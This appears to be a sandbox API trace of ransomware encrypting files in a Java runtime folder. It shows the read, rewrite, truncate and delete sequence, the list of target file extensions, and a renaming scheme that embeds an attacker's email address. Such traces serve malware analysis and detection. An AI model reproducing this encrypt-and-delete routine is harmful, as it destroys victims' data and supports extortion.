	[0172.532] SetFilePointerEx (in: hFile=0x58c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1
	[0172.532] SetEndOfFile (hFile=0x58c) returned 1
	[0172.536] CloseHandle (hObject=0x58c) returned 1
	[0172.536] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x20) returned 1
	[0172.537] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties")) returned 1
	[0172.537] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties") returned 68
	[0172.537] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties") returned 68
	[0172.537] lstrlenW (lpString=".doc") returned 4
	[0172.538] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1
	[0172.538] lstrlenW (lpString=".docx") returned 5
	[0172.538] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1
	[0172.538] lstrlenW (lpString=".pdf") returned 4
	[0172.538] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1
	[0172.538] lstrlenW (lpString=".xls") returned 4
	[0172.538] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1
	[0172.538] lstrlenW (lpString=".xlsx") returned 5
	[0172.538] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1
	[0172.538] lstrlenW (lpString=".ppt") returned 4
	[0172.538] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1
	[0172.538] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties") returned 68
	[0172.538] lstrlenW (lpString=".zip") returned 4
	[0172.538] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1
	[0172.538] lstrlenW (lpString=".rar") returned 4
	[0172.538] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1
	[0172.538] lstrlenW (lpString=".bz2") returned 4
	[0172.538] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1
	[0172.538] lstrlenW (lpString=".7z") returned 3
	[0172.538] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1
	[0172.538] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties") returned 68
	[0172.538] lstrlenW (lpString=".dbf") returned 4
	[0172.538] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1
	[0172.538] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties") returned 68
	[0172.538] lstrlenW (lpString=".1cd") returned 4
	[0172.538] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1
	[0172.538] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties") returned 68
	[0172.538] lstrlenW (lpString=".jpg") returned 4
	[0172.538] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1
	[0172.538] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties") returned 68
	[0172.539] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties") returned 68
	[0172.539] lstrlenW (lpString=".doc") returned 4
	[0172.539] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1
	[0172.539] lstrlenW (lpString=".docx") returned 5
	[0172.539] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1
	[0172.539] lstrlenW (lpString=".pdf") returned 4
	[0172.539] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1
	[0172.539] lstrlenW (lpString=".xls") returned 4
	[0172.539] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1
	[0172.539] lstrlenW (lpString=".xlsx") returned 5
	[0172.539] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1
	[0172.539] lstrlenW (lpString=".ppt") returned 4
	[0172.539] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1
	[0172.539] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties") returned 68
	[0172.539] lstrlenW (lpString=".zip") returned 4
	[0172.539] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1
	[0172.539] lstrlenW (lpString=".rar") returned 4
	[0172.539] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1
	[0172.539] lstrlenW (lpString=".bz2") returned 4
	[0172.539] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1
	[0172.539] lstrlenW (lpString=".7z") returned 3
	[0172.539] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1
	[0172.539] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties") returned 68
	[0172.539] lstrlenW (lpString=".dbf") returned 4
	[0172.539] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1
	[0172.539] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties") returned 68
	[0172.539] lstrlenW (lpString=".1cd") returned 4
	[0172.539] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1
	[0172.539] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties") returned 68
	[0172.539] lstrlenW (lpString=".jpg") returned 4
	[0172.539] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1
	[0172.540] lstrcmpiW (lpString1=".properties", lpString2=".html") returned 1
	[0172.540] lstrlenW (lpString="messages_ko.properties") returned 22
	[0172.540] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x588
	[0173.507] GetFileSizeEx (in: hFile=0x588, lpFileSize=0x328ff14 | out: lpFileSize=0x328ff14*=5712) returned 1
	[0173.507] CloseHandle (hObject=0x588) returned 1
	[0173.507] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties")) returned 0x20
	[0173.691] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0173.691] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x510
	[0173.691] SetFilePointerEx (in: hFile=0x510, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1
	[0173.691] SetFilePointerEx (in: hFile=0x510, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1
	[0173.692] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x588
	[0173.693] GetLastError () returned 0x0
	[0173.693] ReadFile (in: hFile=0x510, lpBuffer=0x3eae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesRead=0x328fecc*=0x1650, lpOverlapped=0x0) returned 1
	[0173.695] WriteFile (in: hFile=0x588, lpBuffer=0x3eae020*, nNumberOfBytesToWrite=0x1660, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesWritten=0x328fc94*=0x1660, lpOverlapped=0x0) returned 1
	[0173.696] ReadFile (in: hFile=0x510, lpBuffer=0x3eae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesRead=0x328fecc*=0x0, lpOverlapped=0x0) returned 1
	[0173.696] WriteFile (in: hFile=0x588, lpBuffer=0x3eae020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesWritten=0x328fc94*=0x100, lpOverlapped=0x0) returned 1
	[0173.696] SetEndOfFile (hFile=0x588) returned 1
	[0173.696] CloseHandle (hObject=0x588) returned 1
	[0173.696] SetFilePointerEx (in: hFile=0x510, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1
	[0173.696] SetEndOfFile (hFile=0x510) returned 1
	[0173.699] CloseHandle (hObject=0x510) returned 1
	[0173.699] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x20) returned 1
	[0173.699] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties")) returned 1
	[0173.700] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties") returned 68
	[0173.700] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties") returned 68
	[0173.700] lstrlenW (lpString=".doc") returned 4
	[0173.700] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1
	[0173.700] lstrlenW (lpString=".docx") returned 5
	[0173.700] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1
	[0173.700] lstrlenW (lpString=".pdf") returned 4
	[0173.700] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1
	[0173.700] lstrlenW (lpString=".xls") returned 4
	[0173.700] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1
	[0173.700] lstrlenW (lpString=".xlsx") returned 5
	[0173.700] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1
	[0173.700] lstrlenW (lpString=".ppt") returned 4
	[0173.700] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1
	[0173.700] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties") returned 68
	[0173.700] lstrlenW (lpString=".zip") returned 4
	[0173.700] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1
	[0173.700] lstrlenW (lpString=".rar") returned 4
	[0173.700] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1
	[0173.700] lstrlenW (lpString=".bz2") returned 4
	[0173.700] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1
	[0173.700] lstrlenW (lpString=".7z") returned 3
	[0173.700] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1
	[0173.700] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties") returned 68
	[0173.700] lstrlenW (lpString=".dbf") returned 4
	[0173.700] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1
	[0173.700] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties") returned 68
	[0173.700] lstrlenW (lpString=".1cd") returned 4
	[0173.700] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1
	[0173.700] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties") returned 68
	[0173.701] lstrlenW (lpString=".jpg") returned 4
	[0173.701] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1
	[0173.701] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties") returned 68
	[0173.701] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties") returned 68
	[0173.701] lstrlenW (lpString=".doc") returned 4
	[0173.701] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1
	[0173.701] lstrlenW (lpString=".docx") returned 5
	[0173.701] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1
	[0173.701] lstrlenW (lpString=".pdf") returned 4
	[0173.701] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1
	[0173.701] lstrlenW (lpString=".xls") returned 4
	[0173.701] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1
	[0173.701] lstrlenW (lpString=".xlsx") returned 5
	[0173.701] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1
	[0173.701] lstrlenW (lpString=".ppt") returned 4
	[0173.701] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1
	[0173.701] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties") returned 68
	[0173.701] lstrlenW (lpString=".zip") returned 4
	[0173.701] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1
	[0173.701] lstrlenW (lpString=".rar") returned 4
	[0173.701] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1
	[0173.701] lstrlenW (lpString=".bz2") returned 4
	[0173.701] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1
	[0173.701] lstrlenW (lpString=".7z") returned 3
	[0173.702] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1
	[0173.702] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties") returned 68
	[0173.702] lstrlenW (lpString=".dbf") returned 4
	[0173.702] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1
	[0173.702] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties") returned 68
	[0173.702] lstrlenW (lpString=".1cd") returned 4
	[0173.702] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1
	[0173.702] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties") returned 68
	[0173.702] lstrlenW (lpString=".jpg") returned 4
	[0173.702] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1
	[0173.702] lstrcmpiW (lpString1=".jar", lpString2=".html") returned 1
	[0173.702] lstrlenW (lpString="access-bridge-64.jar") returned 20
	[0173.702] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x510
	[0173.705] GetFileSizeEx (in: hFile=0x510, lpFileSize=0x328ff14 | out: lpFileSize=0x328ff14*=188024) returned 1
	[0173.705] CloseHandle (hObject=0x510) returned 1
	[0173.705] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar")) returned 0x20
	[0173.706] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0173.706] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x510
	[0173.706] SetFilePointerEx (in: hFile=0x510, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1
	[0173.706] SetFilePointerEx (in: hFile=0x510, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1
	[0173.706] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574
	[0174.332] GetLastError () returned 0x0
	[0174.332] ReadFile (in: hFile=0x510, lpBuffer=0x3eae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesRead=0x328fecc*=0x2de78, lpOverlapped=0x0) returned 1
	[0174.340] WriteFile (in: hFile=0x574, lpBuffer=0x3eae020*, nNumberOfBytesToWrite=0x2de80, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesWritten=0x328fc94*=0x2de80, lpOverlapped=0x0) returned 1
	[0174.345] ReadFile (in: hFile=0x510, lpBuffer=0x3eae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesRead=0x328fecc*=0x0, lpOverlapped=0x0) returned 1
	[0174.345] WriteFile (in: hFile=0x574, lpBuffer=0x3eae020*, nNumberOfBytesToWrite=0xfc, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesWritten=0x328fc94*=0xfc, lpOverlapped=0x0) returned 1
	[0174.345] SetEndOfFile (hFile=0x574) returned 1
	[0174.345] CloseHandle (hObject=0x574) returned 1
	[0174.345] SetFilePointerEx (in: hFile=0x510, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1
	[0174.345] SetEndOfFile (hFile=0x510) returned 1
	[0174.356] CloseHandle (hObject=0x510) returned 1
	[0174.356] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x20) returned 1
	[0174.356] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar")) returned 1
	[0174.357] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar") returned 63
	[0174.357] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar") returned 63
	[0174.357] lstrlenW (lpString=".doc") returned 4
	[0174.357] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1
	[0174.357] lstrlenW (lpString=".docx") returned 5
	[0174.357] lstrcmpiW (lpString1=".docx", lpString2="4.jar") returned -1
	[0174.357] lstrlenW (lpString=".pdf") returned 4
	[0174.357] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1
	[0174.357] lstrlenW (lpString=".xls") returned 4
	[0174.357] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1
	[0174.358] lstrlenW (lpString=".xlsx") returned 5
	[0174.359] lstrcmpiW (lpString1=".xlsx", lpString2="4.jar") returned -1
	[0174.359] lstrlenW (lpString=".ppt") returned 4
	[0174.359] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1
	[0174.359] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar") returned 63
	[0174.359] lstrlenW (lpString=".zip") returned 4
	[0174.359] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1
	[0174.359] lstrlenW (lpString=".rar") returned 4
	[0174.359] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1
	[0174.359] lstrlenW (lpString=".bz2") returned 4
	[0174.359] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1
	[0174.359] lstrlenW (lpString=".7z") returned 3
	[0174.359] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1
	[0174.359] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar") returned 63
	[0174.359] lstrlenW (lpString=".dbf") returned 4
	[0174.359] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1
	[0174.359] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar") returned 63
	[0174.359] lstrlenW (lpString=".1cd") returned 4
	[0174.359] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1
	[0174.359] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar") returned 63
	[0174.359] lstrlenW (lpString=".jpg") returned 4
	[0174.359] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1
	[0174.359] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar") returned 63
	[0174.359] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar") returned 63
	[0174.359] lstrlenW (lpString=".doc") returned 4
	[0174.359] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1
	[0174.359] lstrlenW (lpString=".docx") returned 5
	[0174.360] lstrcmpiW (lpString1=".docx", lpString2="4.jar") returned -1
	[0174.360] lstrlenW (lpString=".pdf") returned 4
	[0174.360] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1
	[0174.360] lstrlenW (lpString=".xls") returned 4
	[0174.360] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1
	[0174.360] lstrlenW (lpString=".xlsx") returned 5
	[0174.360] lstrcmpiW (lpString1=".xlsx", lpString2="4.jar") returned -1
	[0174.360] lstrlenW (lpString=".ppt") returned 4
	[0174.360] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1
	[0174.360] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar") returned 63
	[0174.360] lstrlenW (lpString=".zip") returned 4
	[0174.360] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1
	[0174.360] lstrlenW (lpString=".rar") returned 4
	[0174.360] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1
	[0174.360] lstrlenW (lpString=".bz2") returned 4
	[0174.360] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1
	[0174.360] lstrlenW (lpString=".7z") returned 3
	[0174.360] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1
	[0174.360] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar") returned 63
	[0174.360] lstrlenW (lpString=".dbf") returned 4
	[0174.360] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1
	[0174.360] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar") returned 63
	[0174.360] lstrlenW (lpString=".1cd") returned 4
	[0174.360] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1
	[0174.360] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar") returned 63
	[0174.360] lstrlenW (lpString=".jpg") returned 4
	[0174.360] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1
	[0174.360] lstrcmpiW (lpString1=".jar", lpString2=".html") returned 1
	[0174.361] lstrlenW (lpString="sunmscapi.jar") returned 13
	[0174.361] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x510
	[0174.361] GetFileSizeEx (in: hFile=0x510, lpFileSize=0x328ff14 | out: lpFileSize=0x328ff14*=32699) returned 1
	[0174.361] CloseHandle (hObject=0x510) returned 1
	[0174.361] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar")) returned 0x20
	[0174.361] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0174.362] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x510
	[0174.362] SetFilePointerEx (in: hFile=0x510, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1
	[0174.362] SetFilePointerEx (in: hFile=0x510, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1
	[0174.362] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574
	[0174.363] GetLastError () returned 0x0
	[0174.363] ReadFile (in: hFile=0x510, lpBuffer=0x3eae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesRead=0x328fecc*=0x7fbb, lpOverlapped=0x0) returned 1
	[0174.366] WriteFile (in: hFile=0x574, lpBuffer=0x3eae020*, nNumberOfBytesToWrite=0x7fc0, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesWritten=0x328fc94*=0x7fc0, lpOverlapped=0x0) returned 1
	[0174.368] ReadFile (in: hFile=0x510, lpBuffer=0x3eae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesRead=0x328fecc*=0x0, lpOverlapped=0x0) returned 1
	[0174.368] WriteFile (in: hFile=0x574, lpBuffer=0x3eae020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesWritten=0x328fc94*=0xee, lpOverlapped=0x0) returned 1
	[0174.368] SetEndOfFile (hFile=0x574) returned 1
	[0174.368] CloseHandle (hObject=0x574) returned 1
	[0174.369] SetFilePointerEx (in: hFile=0x510, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1
	[0174.369] SetEndOfFile (hFile=0x510) returned 1
	[0174.372] CloseHandle (hObject=0x510) returned 1
	[0174.373] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x20) returned 1
	[0174.422] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar")) returned 1
